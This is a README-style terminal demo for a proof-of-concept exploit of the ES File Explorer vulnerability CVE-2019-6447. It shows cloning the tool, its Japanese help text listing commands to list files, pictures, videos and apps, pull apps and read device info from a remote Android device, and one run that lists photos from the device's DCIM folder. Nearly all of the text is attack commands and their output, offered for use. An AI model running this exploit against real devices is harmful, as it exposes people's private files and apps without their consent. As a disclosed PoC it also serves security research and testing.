git clone [email protected]:julio-cfa/POC-ES-File-Explorer-CVE-2019-6447.git

kyoto :: ~ % ./ESExplorerExploit.sh -h                            

--- これは ES File Explorer CVE-2019-6447 の非常にシンプルな PoC です ---

次のコマンドを試せます: 

listFiles	すべてのファイルを一覧表示
listPics	すべての画像を一覧表示
listVideos	すべての動画を一覧表示
listAudios	すべての音声を一覧表示
listApps	インストールされているすべてのアプリケーションを一覧表示
listAppsSystem	システムアプリを一覧表示
listAppsPhone	通信関連アプリケーションを一覧表示
listAppsSdcard	SDカードにインストールされているアプリを一覧表示
listAppsAll	すべてのアプリケーションを一覧表示
getAppThumbnail	指定されたアプリケーションのアイコンを一覧表示
appLaunch	開発されたアプリケーションを起動
appPull         デバイスからアプリケーションをダウンロード
getDeviceInfo	システム情報を取得

使用例: ./ESExplorerExploit.sh 10.10.10.247 sdcard listFiles

kyoto :: ~ % ./ESExplorerExploit.sh 10.10.10.247 sdcard/DCIM listFiles                                                                               
[
{"name":"example1.jpg", "time":"4/21/21 02:38:08 AM", "type":"file", "size":"135.33 KB (138,573 Bytes)", }, 
{"name":"example2.png", "time":"4/21/21 02:37:50 AM", "type":"file", "size":"6.24 KB (6,392 Bytes)", }, 
{"name":"example3.jpg", "time":"4/21/21 02:38:18 AM", "type":"file", "size":"1.14 MB (1,200,401 Bytes)", }, 
{"name":"example4.png", "time":"4/21/21 02:37:21 AM", "type":"file", "size":"124.88 KB (127,876 Bytes)", }
]